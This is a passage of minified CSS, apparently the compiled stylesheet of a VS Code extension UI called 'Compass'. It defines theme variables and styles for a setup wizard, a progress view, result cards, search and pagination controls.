oklab,var(--destructive) 30%,transparent)}}.dark\:hover\:bg-input\/50:is(.dark *):hover{background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.dark\:hover\:bg-input\/50:is(.dark *):hover{background-color:color-mix(in oklab,var(--input) 50%,transparent)}}.dark\:hover\:bg-muted\/50:is(.dark *):hover{background-color:var(--muted)}@supports (color:color-mix(in lab,red,red)){.dark\:hover\:bg-muted\/50:is(.dark *):hover{background-color:color-mix(in oklab,var(--muted) 50%,transparent)}}.dark\:hover\:text-foreground:is(.dark *):hover{color:var(--foreground)}}.dark\:focus-visible\:ring-destructive\/40:is(.dark *):focus-visible{--tw-ring-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:focus-visible\:ring-destructive\/40:is(.dark *):focus-visible{--tw-ring-color:color-mix(in oklab, var(--destructive) 40%, transparent)}}.dark\:disabled\:bg-input\/80:is(.dark *):disabled{background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.dark\:disabled\:bg-input\/80:is(.dark *):disabled{background-color:color-mix(in oklab,var(--input) 80%,transparent)}}.dark\:aria-invalid\:border-destructive\/50:is(.dark *)[aria-invalid=true]{border-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:aria-invalid\:border-destructive\/50:is(.dark *)[aria-invalid=true]{border-color:color-mix(in oklab,var(--destructive) 50%,transparent)}}.dark\:aria-invalid\:ring-destructive\/40:is(.dark *)[aria-invalid=true]{--tw-ring-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:aria-invalid\:ring-destructive\/40:is(.dark *)[aria-invalid=true]{--tw-ring-color:color-mix(in oklab, var(--destructive) 40%, transparent)}}.dark\:data-\[state\=active\]\:border-input:is(.dark *)[data-state=active]{border-color:var(--input)}.dark\:data-\[state\=active\]\:bg-input\/30:is(.dark *)[data-state=active]{background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.dark\:data-\[state\=active\]\:bg-input\/30:is(.dark *)[data-state=active]{background-color:color-mix(in oklab,var(--input) 30%,transparent)}}.dark\:data-\[state\=active\]\:text-foreground:is(.dark *)[data-state=active]{color:var(--foreground)}.dark\:group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:border-transparent:is(.dark *):is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]{border-color:#0000}.dark\:group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:bg-transparent:is(.dark *):is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]{background-color:#0000}.\[\&_a\]\:underline a{text-decoration-line:underline}.\[\&_a\]\:underline-offset-3 a{text-underline-offset:3px}@media(hover:hover){.\[\&_a\]\:hover\:text-foreground a:hover{color:var(--foreground)}}.\[\&_p\:not\(\:last-child\)\]\:mb-4 p:not(:last-child){margin-bottom:calc(var(--spacing) * 4)}.\[\&_svg\]\:pointer-events-none svg{pointer-events:none}.\[\&_svg\]\:shrink-0 svg{flex-shrink:0}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-3 svg:not([class*=size-]){width:calc(var(--spacing) * 3);height:calc(var(--spacing) * 3)}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-3\.5 svg:not([class*=size-]){width:calc(var(--spacing) * 3.5);height:calc(var(--spacing) * 3.5)}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-4 svg:not([class*=size-]){width:calc(var(--spacing) * 4);height:calc(var(--spacing) * 4)}@media(hover:hover){.\[a\]\:hover\:bg-destructive\/20:is(a):hover{background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.\[a\]\:hover\:bg-destructive\/20:is(a):hover{background-color:color-mix(in oklab,var(--destructive) 20%,transparent)}}.\[a\]\:hover\:bg-muted:is(a):hover{background-color:var(--muted)}.\[a\]\:hover\:bg-primary\/80:is(a):hover{background-color:var(--primary)}@supports (color:color-mix(in lab,red,red)){.\[a\]\:hover\:bg-primary\/80:is(a):hover{background-color:color-mix(in oklab,var(--primary) 80%,transparent)}}.\[a\]\:hover\:bg-secondary\/80:is(a):hover{background-color:var(--secondary)}@supports (color:color-mix(in lab,red,red)){.\[a\]\:hover\:bg-secondary\/80:is(a):hover{background-color:color-mix(in oklab,var(--secondary) 80%,transparent)}}.\[a\]\:hover\:text-muted-foreground:is(a):hover{color:var(--muted-foreground)}}:is(.\*\:\[svg\]\:row-span-2>*):is(svg){grid-row:span 2/span 2}:is(.\*\:\[svg\]\:translate-y-0\.5>*):is(svg){--tw-translate-y:calc(var(--spacing) * .5);translate:var(--tw-translate-x) var(--tw-translate-y)}:is(.\*\:\[svg\]\:text-current>*):is(svg){color:currentColor}:is(.\*\:\[svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-4>*):is(svg:not([class*=size-])){width:calc(var(--spacing) * 4);height:calc(var(--spacing) * 4)}.\[\&\>svg\]\:pointer-events-none>svg{pointer-events:none}.\[\&\>svg\]\:size-3\!>svg{width:calc(var(--spacing) * 3)!important;height:calc(var(--spacing) * 3)!important}}@property --tw-animation-delay{syntax:"*";inherits:false;initial-value:0s}@property --tw-animation-direction{syntax:"*";inherits:false;initial-value:normal}@property --tw-animation-duration{syntax:"*";inherits:false}@property --tw-animation-fill-mode{syntax:"*";inherits:false;initial-value:none}@property --tw-animation-iteration-count{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-blur{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-opacity{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-rotate{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-scale{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-blur{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-opacity{syntax:"*";inherits:false;initial-value:1}@property --tw-exit-rotate{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-scale{syntax:"*";inherits:false;initial-value:1}@property --tw-exit-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-translate-y{syntax:"*";inherits:false;initial-value:0}.init-shell{box-sizing:border-box;background:linear-gradient(var(--compass-grid) 1px,transparent 1px),linear-gradient(90deg,var(--compass-grid) 1px,transparent 1px),var(--background);height:100vh;min-height:100vh;color:var(--foreground);background-size:32px 32px;padding:clamp(28px,5vw,72px);overflow:auto}.init-header,.init-progress-header{justify-content:space-between;align-items:flex-end;gap:28px;width:min(1080px,100%);margin:0 auto clamp(26px,4vw,46px);display:flex}.init-eyebrow{color:var(--compass-focus);font:600 11px/1.3 var(--compass-font-mono);letter-spacing:.12em;text-transform:uppercase;margin:0 0 8px}.init-header h1,.init-progress-header h1,.init-result-card h1{color:var(--foreground);font:600 clamp(28px,4vw,44px)/1.08 var(--compass-font-sans);letter-spacing:-.035em;margin:0}.init-header-copy,.init-progress-header p:not(.init-eyebrow),.init-result-card>p:not(.init-eyebrow){max-width:650px;color:var(--muted-foreground);margin:13px 0 0;font-size:14px;line-height:1.65}.init-repository-badge{border:1px solid var(--compass-line);background:var(--vscode-editorWidget-background,var(--compass-panel));border-radius:5px;align-items:center;gap:11px;min-width:190px;max-width:320px;padding:11px 13px;display:flex}.init-repository-badge>svg{width:16px;color:var(--compass-focus)}.init-repository-badge span{min-width:0}.init-repository-badge small,.init-repository-badge strong{display:block}.init-repository-badge small{color:var(--compass-faint);font:10px/1.2 var(--compass-font-mono);text-transform:uppercase;margin-bottom:2px}.init-repository-badge strong{text-overflow:ellipsis;white-space:nowrap;font-size:12px;overflow:hidden}.init-layout{border:1px solid var(--compass-line-strong);background:var(--vscode-editorWidget-background,var(--compass-panel));width:min(1080px,100%);min-height:520px;box-shadow:0 22px 55px var(--vscode-widget-shadow,#0000003d);border-radius:7px;grid-template-columns:245px minmax(0,1fr);margin:0 auto;display:grid;overflow:hidden}.init-step-nav{border-right:1px solid var(--compass-line);background:var(--compass-panel);flex-direction:column;justify-content:space-between;min-width:0;padding:27px 20px 20px;display:flex}@supports (color:color-mix(in lab,red,red)){.init-step-nav{background:color-mix(in srgb,var(--compass-panel) 88%,var(--compass-canvas))}}.init-step-nav ol,.init-runway,.init-rule-list{margin:0;padding:0;list-style:none}.init-step-nav li{padding-bottom:10px;position:relative}.init-step-nav li:not(:last-child):after{background:var(--compass-line);content:"";width:1px;position:absolute;top:34px;bottom:-1px;left:15px}.init-step-nav li[data-state=complete]:after{background:var(--compass-success)}@supports (color:color-mix(in lab,red,red)){.init-step-nav li[data-state=complete]:after{background:color-mix(in srgb,var(--compass-success) 62%,var(--compass-line))}}.init-step-nav button{width:100%;color:var(--muted-foreground);text-align:left;background:0 0;border:0;border-radius:4px;align-items:center;gap:11px;padding:7px;display:flex}.init-step-nav button:not(:disabled):hover{background:var(--workbench-hover);color:var(--foreground)}.init-step-nav button:focus-visible{outline:2px solid var(--compass-focus);outline-offset:1px}.init-step-marker{z-index:1;border:1px solid var(--compass-line-strong);background:var(--compass-panel);border-radius:50%;flex:0 0 30px;place-items:center;width:30px;height:30px;display:grid}.init-step-marker svg{width:13px;height:13px}.init-step-nav li[data-state=active] button{color:var(--foreground)}.init-step-nav li[data-state=active] .init-step-marker{border-color:var(--compass-focus);background:var(--compass-focus-soft);color:var(--compass-focus);box-shadow:0 0 0 4px var(--compass-focus-soft)}.init-step-nav li[data-state=complete] .init-step-marker{border-color:var(--compass-success);color:var(--compass-success)}.init-step-nav button small,.init-step-nav button strong{display:block}.init-step-nav button small{color:var(--compass-faint);font:9px/1.2 var(--compass-font-mono);letter-spacing:.06em;text-transform:uppercase;margin-bottom:2px}.init-step-nav button strong{font-size:12px;font-weight:550}.init-local-note{border:1px solid var(--compass-line);background:var(--compass-focus);border-radius:5px;align-items:flex-start;gap:9px;padding:12px;display:flex}@supports (color:color-mix(in lab,red,red)){.init-local-note{background:color-mix(in srgb,var(--compass-focus) 6%,transparent)}}.init-local-note>svg{width:14px;color:var(--compass-focus);flex:0 0 14px}.init-local-note p{color:var(--muted-foreground);margin:0;font-size:10px;line-height:1.5}.init-local-note strong,.init-local-note code{display:block}.init-local-note strong{color:var(--foreground);margin-bottom:2px;font-size:10px}.init-local-note code{color:var(--compass-focus);font-family:var(--compass-font-mono);margin-top:4px}.init-stage{flex-direction:column;min-width:0;padding:clamp(28px,5vw,52px);display:flex}.init-stage-heading{align-items:flex-start;gap:16px;margin-bottom:28px;display:flex}.init-stage-heading>span{color:var(--compass-focus);font:600 11px/1 var(--compass-font-mono);padding-top:5px}.init-stage-heading h2{color:var(--foreground);font:600 clamp(21px,3vw,28px)/1.2 var(--compass-font-sans);letter-spacing:-.025em;margin:0}.init-stage-heading p{color:var(--muted-foreground);margin:8px 0 0;font-size:12px;line-height:1.55}.init-scope-grid,.init-fields{grid-template-columns:repeat(2,minmax(0,1fr));gap:13px;display:grid}.init-choice{border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--background));cursor:pointer;border-radius:6px;align-items:flex-start;gap:12px;min-height:125px;padding:18px;display:flex;position:relative}.init-choice:hover{border-color:var(--compass-focus)}@supports (color:color-mix(in lab,red,red)){.init-choice:hover{border-color:color-mix(in srgb,var(--compass-focus) 48%,var(--compass-line))}}.init-choice[data-selected=true]{border-color:var(--compass-focus);background:var(--compass-focus-soft);box-shadow:inset 0 0 0 1px var(--compass-focus)}@supports (color:color-mix(in lab,red,red)){.init-choice[data-selected=true]{box-shadow:inset 0 0 0 1px color-mix(in srgb,var(--compass-focus) 30%,transparent)}}.init-choice input{opacity:0;width:1px;height:1px;position:absolute}.init-choice:has(input:focus-visible){outline:2px solid var(--compass-focus);outline-offset:2px}.init-choice-radio{width:20px;height:20px;color:var(--compass-faint);flex:0 0 20px;place-items:center;display:grid}.init-choice-radio svg{fill:#0000;width:16px}.init-choice[data-selected=true] .init-choice-radio svg{fill:var(--compass-focus);color:var(--compass-focus);stroke-width:4px}.init-choice strong,.init-choice small{display:block}.init-choice strong{color:var(--foreground);margin:1px 0 8px;font-size:13px}.init-choice small{color:var(--muted-foreground);font-size:11px;line-height:1.55}.init-facts{border:1px solid var(--compass-line);border-radius:5px;grid-template-columns:1.5fr 1fr 1fr;margin:22px 0 0;display:grid;overflow:hidden}.init-facts>div{background:var(--compass-panel);min-width:0;padding:11px 13px}@supports (color:color-mix(in lab,red,red)){.init-facts>div{background:color-mix(in srgb,var(--compass-panel) 82%,transparent)}}.init-facts>div:not(:last-child){border-right:1px solid var(--compass-line)}.init-facts dt,.init-review-row>span{color:var(--compass-faint);font:9px/1.2 var(--compass-font-mono);text-transform:uppercase}.init-facts dt{margin-bottom:4px}.init-facts dd{min-width:0;color:var(--muted-foreground);text-overflow:ellipsis;white-space:nowrap;margin:0;font-size:10px;overflow:hidden}.init-facts code,.init-review-row code{font-family:var(--compass-font-mono)}.init-fields{gap:18px}.init-fields label>span{margin-bottom:9px;display:block}.init-fields label strong,.init-fields label small{display:block}.init-fields label strong{color:var(--foreground);margin-bottom:3px;font-size:12px}.init-fields label small{color:var(--compass-faint);font-size:10px}.init-fields textarea{box-sizing:border-box;resize:vertical;border:1px solid var(--vscode-input-border,var(--compass-line));background:var(--vscode-input-background,var(--background));width:100%;min-height:142px;color:var(--vscode-input-foreground,var(--foreground));font:11px/1.6 var(--compass-font-mono);border-radius:4px;outline:none;padding:11px 12px}.init-fields textarea::placeholder{color:var(--vscode-input-placeholderForeground,var(--compass-faint))}.init-fields textarea:focus{border-color:var(--compass-focus);outline:1px solid var(--compass-focus)}.init-fields textarea:disabled{opacity:.55;cursor:not-allowed}.init-validation{color:var(--destructive);margin:12px 0 0;font-size:11px}.init-stage-actions{justify-content:space-between;align-items:center;gap:10px;margin-top:auto;padding-top:30px;display:flex}.init-button{min-height:32px;font:500 12px/1.3 var(--compass-font-sans);border:1px solid #0000;border-radius:3px;justify-content:center;align-items:center;gap:8px;padding:6px 13px;display:inline-flex}.init-button svg{width:14px;height:14px}.init-button:focus-visible{outline:2px solid var(--compass-focus);outline-offset:2px}.init-button:disabled{opacity:.45;cursor:not-allowed}.init-button-primary{border-color:var(--vscode-button-border,transparent);background:var(--vscode-button-background,var(--primary));color:var(--vscode-button-foreground,var(--primary-foreground))}.init-button-primary:not(:disabled):hover{background:var(--vscode-button-hoverBackground,var(--primary))}.init-button-secondary{border-color:var(--compass-line);background:var(--vscode-button-secondaryBackground,var(--secondary));color:var(--vscode-button-secondaryForeground,var(--secondary-foreground))}.init-button-secondary:not(:disabled):hover,.init-button-quiet:hover{border-color:var(--compass-line-strong);background:var(--workbench-hover);color:var(--foreground)}.init-button-quiet{color:var(--muted-foreground);background:0 0}.init-button-build{min-width:170px}.init-review{border:1px solid var(--compass-line);border-radius:5px;overflow:hidden}.init-review-row{border-bottom:1px solid var(--compass-line);grid-template-columns:130px minmax(0,1fr);align-items:start;min-height:42px;display:grid}.init-review-row:last-child{border-bottom:0}.init-review-row>span{background:var(--compass-panel);align-self:stretch;padding:12px 13px}@supports (color:color-mix(in lab,red,red)){.init-review-row>span{background:color-mix(in srgb,var(--compass-panel) 76%,transparent)}}.init-review-row>div{min-width:0;color:var(--foreground);padding:11px 13px;font-size:11px}.init-review-row code{overflow-wrap:anywhere;color:var(--foreground)}.init-rule-default{color:var(--muted-foreground)}.init-rule-list{flex-wrap:wrap;gap:6px;display:flex}.init-rule-list li{border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--background));border-radius:3px;padding:3px 7px}.init-build-callout{border-left:2px solid var(--compass-focus);background:var(--compass-focus-soft);align-items:flex-start;gap:12px;margin-top:16px;padding:13px 15px;display:flex}.init-build-callout>svg{width:17px;color:var(--compass-focus);flex:0 0 17px}.init-build-callout strong{color:var(--foreground);margin-bottom:3px;font-size:11px;display:block}.init-build-callout p{color:var(--muted-foreground);margin:0;font-size:10px;line-height:1.45}.init-replace-confirmation{border:1px solid var(--compass-warning);align-items:flex-start;gap:10px;margin-top:10px;padding:12px 14px;display:flex}@supports (color:color-mix(in lab,red,red)){.init-replace-confirmation{border:1px solid color-mix(in srgb,var(--compass-warning) 55%,var(--compass-line))}}.init-replace-confirmation{background:var(--compass-warning);border-radius:4px}@supports (color:color-mix(in lab,red,red)){.init-replace-confirmation{background:color-mix(in srgb,var(--compass-warning) 8%,transparent)}}.init-replace-confirmation{cursor:pointer}.init-replace-confirmation input{accent-color:var(--compass-focus);margin:2px 0 0}.init-replace-confirmation strong,.init-replace-confirmation small{display:block}.init-replace-confirmation strong{color:var(--compass-warning);margin-bottom:3px;font-size:11px}.init-replace-confirmation small{color:var(--muted-foreground);font-size:10px;line-height:1.45}.init-progress-shell{flex-direction:column;display:flex}.init-progress-header{align-items:center}.init-running-badge{border:1px solid var(--compass-focus);align-items:center;gap:7px;padding:6px 10px;display:inline-flex}@supports (color:color-mix(in lab,red,red)){.init-running-badge{border:1px solid color-mix(in srgb,var(--compass-focus) 46%,var(--compass-line))}}.init-running-badge{background:var(--compass-focus-soft);color:var(--compass-focus);font:600 10px/1 var(--compass-font-mono);text-transform:uppercase;border-radius:999px}.init-running-badge svg,.init-runway li[data-state=active] .init-runway-marker svg{animation:1.2s linear infinite init-spin}.init-progress-card{box-sizing:border-box;border:1px solid var(--compass-line-strong);background:var(--vscode-editorWidget-background,var(--compass-panel));width:min(880px,100%);box-shadow:0 22px 55px var(--vscode-widget-shadow,#0000003d);border-radius:7px;margin:auto;padding:clamp(26px,5vw,48px)}.init-progress-summary{justify-content:space-between;align-items:flex-end;gap:20px;display:flex}.init-progress-summary small,.init-progress-summary strong{display:block}.init-progress-summary small{color:var(--compass-faint);font:10px/1.2 var(--compass-font-mono);letter-spacing:.08em;text-transform:uppercase;margin-bottom:7px}.init-progress-summary strong{color:var(--foreground);font-size:18px;font-weight:580}.init-progress-summary>span{color:var(--compass-focus);font:600 24px/1 var(--compass-font-mono)}.init-progress-track{background:var(--foreground);border-radius:99px;height:7px;margin:18px 0 22px;position:relative;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.init-progress-track{background:color-mix(in srgb,var(--foreground) 10%,transparent)}}.init-progress-track>span{border-radius:inherit;background:var(--workbench-progress);height:100%;box-shadow:0 0 15px var(--compass-focus);display:block}@supports (color:color-mix(in lab,red,red)){.init-progress-track>span{box-shadow:0 0 15px color-mix(in srgb,var(--compass-focus) 50%,transparent)}}.init-progress-track>span{transition:width .18s ease-out}.init-progress-track>span.is-indeterminate{width:28%;animation:1.35s ease-in-out infinite init-indeterminate}.init-current-file{border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--compass-canvas));border-radius:5px;align-items:center;gap:12px;min-width:0;padding:13px 15px;display:flex}.init-current-file>svg{width:16px;color:var(--compass-focus);flex:0 0 16px}.init-current-file span{min-width:0}.init-current-file small,.init-current-file code{display:block}.init-current-file small{color:var(--compass-faint);font:9px/1 var(--compass-font-mono);text-transform:uppercase;margin-bottom:4px}.init-current-file code{color:var(--foreground);font:11px/1.4 var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.init-runway{grid-template-columns:repeat(3,minmax(0,1fr));margin-top:30px;display:grid}.init-runway li{align-items:flex-start;gap:10px;display:flex;position:relative}.init-runway li:not(:last-child):after{background:var(--compass-line);content:"";height:1px;position:absolute;top:13px;left:27px;right:8px}.init-runway li[data-state=complete]:after{background:var(--compass-success)}@supports (color:color-mix(in lab,red,red)){.init-runway li[data-state=complete]:after{background:color-mix(in srgb,var(--compass-success) 58%,var(--compass-line))}}.init-runway-marker{z-index:1;border:1px solid var(--compass-line-strong);background:var(--compass-panel);width:26px;height:26px;color:var(--compass-faint);border-radius:50%;flex:0 0 26px;place-items:center;display:grid}.init-runway-marker svg{width:12px;height:12px}.init-runway li[data-state=complete] .init-runway-marker{border-color:var(--compass-success);color:var(--compass-success)}.init-runway li[data-state=active] .init-runway-marker{border-color:var(--compass-focus);color:var(--compass-focus);box-shadow:0 0 0 4px var(--compass-focus-soft)}.init-runway li>span:last-child{min-width:0;padding-right:20px}.init-runway strong,.init-runway small{display:block}.init-runway strong{color:var(--foreground);margin:1px 0 4px;font-size:10px}.init-runway small{color:var(--compass-faint);font-size:9px;line-height:1.35}.init-progress-footer{box-sizing:border-box;justify-content:space-between;align-items:center;gap:20px;width:min(880px,100%);margin:22px auto 0;display:flex}.init-progress-footer p{color:var(--compass-faint);margin:0;font-size:10px}.init-result-shell{place-items:center;display:grid}.init-result-card{box-sizing:border-box;border:1px solid var(--compass-line-strong);background:var(--vscode-editorWidget-background,var(--compass-panel));width:min(580px,100%);box-shadow:0 22px 55px var(--vscode-widget-shadow,#0000003d);text-align:center;border-radius:7px;padding:clamp(32px,6vw,60px)}.init-result-icon{border:1px solid;border-radius:50%;place-items:center;width:54px;height:54px;margin:0 auto 22px;display:grid}.init-result-icon svg{width:24px}.init-result-icon-success{border-color:var(--compass-success);background:var(--compass-success)}@supports (color:color-mix(in lab,red,red)){.init-result-icon-success{background:color-mix(in srgb,var(--compass-success) 10%,transparent)}}.init-result-icon-success{color:var(--compass-success)}.init-result-icon-error{border-color:var(--destructive);background:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.init-result-icon-error{background:color-mix(in srgb,var(--destructive) 10%,transparent)}}.init-result-icon-error{color:var(--destructive)}.init-result-icon-cancelled{border-color:var(--compass-warning);background:var(--compass-warning)}@supports (color:color-mix(in lab,red,red)){.init-result-icon-cancelled{background:color-mix(in srgb,var(--compass-warning) 10%,transparent)}}.init-result-icon-cancelled{color:var(--compass-warning)}.init-result-card .init-eyebrow{text-align:center}.init-result-card>p:not(.init-eyebrow){margin-left:auto;margin-right:auto}.init-result-actions{flex-wrap:wrap;justify-content:center;gap:9px;margin-top:26px;display:flex}@keyframes init-spin{to{transform:rotate(360deg)}}@keyframes init-indeterminate{0%{transform:translate(-120%)}55%{transform:translate(180%)}to{transform:translate(320%)}}@media(max-width:760px){.init-shell{padding:24px 18px}.init-header,.init-progress-header{flex-direction:column;align-items:flex-start}.init-repository-badge{box-sizing:border-box;width:100%}.init-layout{grid-template-columns:1fr}.init-step-nav{border-right:0;border-bottom:1px solid var(--compass-line);padding:16px}.init-step-nav ol{grid-template-columns:repeat(3,1fr);display:grid}.init-step-nav li{padding:0}.init-step-nav li:not(:last-child):after{width:auto;height:1px;inset:15px -8px auto 38px}.init-step-nav button{flex-direction:column;align-items:flex-start}.init-step-nav button strong{font-size:10px}.init-local-note{display:none}.init-scope-grid,.init-fields,.init-facts{grid-template-columns:1fr}.init-facts>div:not(:last-child){border-right:0;border-bottom:1px solid var(--compass-line)}.init-review-row{grid-template-columns:95px minmax(0,1fr)}.init-runway{grid-template-columns:1fr;gap:13px}.init-runway li:not(:last-child):after{width:1px;height:auto;inset:26px auto -13px 13px}.init-progress-footer{flex-direction:column;align-items:flex-start}}@media(prefers-reduced-motion:reduce){.init-running-badge svg,.init-runway li[data-state=active] .init-runway-marker svg,.init-progress-track>span.is-indeterminate{animation:none}.init-progress-track>span{transition:none}}:root{color-scheme:light dark;--compass-font-sans:var(--vscode-font-family,-apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif);--compass-font-mono:var(--vscode-editor-font-family,"SFMono-Regular", Consolas, monospace);--background:var(--vscode-editor-background,#0d131d);--foreground:var(--vscode-editor-foreground,#d7e1ed);--card:var(--vscode-sideBar-background,#121b28);--card-foreground:var(--vscode-sideBar-foreground,#d7e1ed);--popover:var(--vscode-menu-background,#172231);--popover-foreground:var(--vscode-menu-foreground,#d7e1ed);--primary:var(--vscode-button-background,#2f81f7);--primary-foreground:var(--vscode-button-foreground,#fff);--secondary:var(--vscode-button-secondaryBackground,#263448);--secondary-foreground:var(--vscode-button-secondaryForeground,#d7e1ed);--muted:var(--vscode-list-inactiveSelectionBackground,#1d2938);--muted-foreground:var(--vscode-descriptionForeground,#93a4b8);--accent:var(--vscode-list-activeSelectionBackground,#264f78);--accent-foreground:var(--vscode-list-activeSelectionForeground,#fff);--destructive:var(--vscode-errorForeground,#f47067);--border:var(--vscode-panel-border,#2c3a4d);--input:var(--vscode-input-border,#3b4a5e);--ring:var(--vscode-focusBorder,#4f9cf9);--radius:.625rem;--compass-canvas:var(--vscode-editor-background,#08111f);--compass-canvas-deep:var(--compass-canvas)}@supports (color:color-mix(in lab,red,red)){:root{--compass-canvas-deep:color-mix(in srgb, var(--compass-canvas) 82%, #000)}}:root{--compass-panel:var(--vscode-sideBar-background,#101b2d);--compass-panel-raised:var(--vscode-menu-background,#142236)}@supports (color:color-mix(in lab,red,red)){:root{--compass-panel-raised:color-mix(in srgb, var(--vscode-menu-background,#142236) 88%, transparent)}}:root{--compass-line:var(--vscode-panel-border,#9ab2d329);--compass-line-strong:var(--vscode-contrastBorder,#9ab2d34d);--compass-focus:var(--vscode-focusBorder,#76b7ff);--compass-focus-soft:var(--compass-focus)}@supports (color:color-mix(in lab,red,red)){:root{--compass-focus-soft:color-mix(in srgb, var(--compass-focus) 14%, transparent)}}:root{--compass-faint:var(--vscode-disabledForeground,#60728b);--compass-grid:var(--foreground)}@supports (color:color-mix(in lab,red,red)){:root{--compass-grid:color-mix(in srgb, var(--foreground) 16%, transparent)}}:root{--compass-success:var(--vscode-testing-iconPassed,#3fb950);--compass-warning:var(--vscode-editorWarning-foreground,#d29922);--sidebar:var(--vscode-sideBar-background,var(--background));--sidebar-foreground:var(--vscode-sideBar-foreground,var(--foreground));--sidebar-accent:var(--vscode-list-activeSelectionBackground,var(--accent));--sidebar-accent-foreground:var(--vscode-list-activeSelectionForeground,var(--accent-foreground));--sidebar-primary:var(--vscode-focusBorder,var(--ring));--workbench-hover:var(--vscode-list-hoverBackground,var(--foreground))}@supports (color:color-mix(in lab,red,red)){:root{--workbench-hover:var(--vscode-list-hoverBackground,color-mix(in srgb, var(--foreground) 7%, transparent))}}:root{--workbench-hover-foreground:var(--vscode-list-hoverForeground,var(--foreground));--workbench-table-header:var(--vscode-editorStickyScroll-background,var(--background));--workbench-link:var(--vscode-textLink-foreground,var(--ring));--workbench-progress:var(--vscode-progressBar-background,var(--ring))}*{border-color:var(--border)}html,body,#root,#compass-viewer-root{min-height:100%;margin:0}body{background:var(--background);color:var(--foreground);font-family:var(--compass-font-sans);overflow:hidden}button:not(:disabled),[role=button]:not(:disabled){cursor:pointer}[data-slot=button],[data-slot=input],[data-slot=tabs-list],[data-slot=tabs-trigger]{border-radius:4px}.workbench-collection-toolbar{justify-content:space-between;align-items:center;gap:10px;min-width:0;display:flex}.workbench-search{flex:1;align-items:center;min-width:180px;max-width:540px;display:flex;position:relative}.workbench-search>svg{width:14px;height:14px;color:var(--vscode-input-placeholderForeground,var(--muted-foreground));pointer-events:none;position:absolute;left:8px}.workbench-search input{border:1px solid var(--vscode-input-border,var(--border));background:var(--vscode-input-background,var(--input));width:100%;height:30px;color:var(--vscode-input-foreground,var(--foreground));font:inherit;border-radius:3px;outline:none;padding:4px 30px 4px 29px;font-size:12px}.workbench-search input::placeholder{color:var(--vscode-input-placeholderForeground,var(--muted-foreground))}.workbench-search input:focus-visible{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.workbench-search-clear{width:24px;height:24px;color:var(--muted-foreground);background:0 0;border:0;border-radius:3px;place-items:center;display:grid;position:absolute;right:3px}.workbench-search-clear:hover{background:var(--workbench-hover);color:var(--workbench-hover-foreground)}.workbench-search-clear svg{width:13px;height:13px}.workbench-result-count,.workbench-pagination-range{color:var(--muted-foreground);white-space:nowrap;font-size:11px}.workbench-pagination{justify-content:space-between;align-items:center;gap:12px;min-height:36px;padding-top:8px;display:flex}.workbench-pagination-actions{color:var(--muted-foreground);align-items:center;gap:4px;font-size:11px;display:flex}.workbench-pagination-actions button{width:26px;height:26px;color:var(--foreground);background:0 0;border:1px solid #0000;border-radius:3px;place-items:center;display:grid}.workbench-pagination-actions button:hover:not(:disabled){border-color:var(--border);background:var(--workbench-hover)}.workbench-pagination-actions button:disabled{color:var(--vscode-disabledForeground,var(--compass-faint))}.workbench-pagination-actions svg{width:14px;height:14px}.workbench-state{width:min(520px,100% - 32px);min-height:180px;color:var(--muted-foreground);text-align:center;align-content:center;place-items:center;gap:12px;margin:auto;padding:24px;display:grid}.workbench-state>svg{width:28px;height:28px}.workbench-state[data-kind=error]>svg{color:var(--destructive)}.workbench-state h2{color:var(--foreground);margin:0;font-size:14px;font-weight:600}.workbench-state p{margin:5px 0 0;font-size:12px;line-height:1.55}.workbench-button{border:1px solid var(--vscode-button-border,transparent);background:var(--vscode-button-background,var(--primary));min-height:30px;color:var(--vscode-button-foreground,var(--primary-foreground));font:inherit;border-radius:3px;padding:4px 11px;font-size:12px}.workbench-button:hover{background:var(--vscode-button-hoverBackground,var(--primary))}.workbench-button:focus-visible,.workbench-search-clear:focus-visible,.workbench-pagination-actions button:focus-visible{outline:2px solid var(--ring);outline-offset:1px}.workbench-state-spinner{animation:1s linear infinite spin}.compass-load-shell{background:radial-gradient(circle at 50% 43%,var(--compass-focus),transparent 28%),radial-gradient(circle at 68% 62%,var(--compass-success),transparent 24%),linear-gradient(145deg,var(--compass-canvas) 0%,var(--compass-canvas-deep) 100%);place-content:center;min-height:100vh;padding:40px 24px;display:grid;position:relative;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.compass-load-shell{background:radial-gradient(circle at 50% 43%,color-mix(in srgb,var(--compass-focus) 16%,transparent),transparent 28%),radial-gradient(circle at 68% 62%,color-mix(in srgb,var(--compass-success) 8%,transparent),transparent 24%),linear-gradient(145deg,var(--compass-canvas) 0%,var(--compass-canvas-deep) 100%)}}.compass-load-shell{text-align:center}.compass-load-shell:before{content:"";opacity:.18;background-image:radial-gradient(var(--compass-grid) .65px,transparent .65px);pointer-events:none;background-size:24px 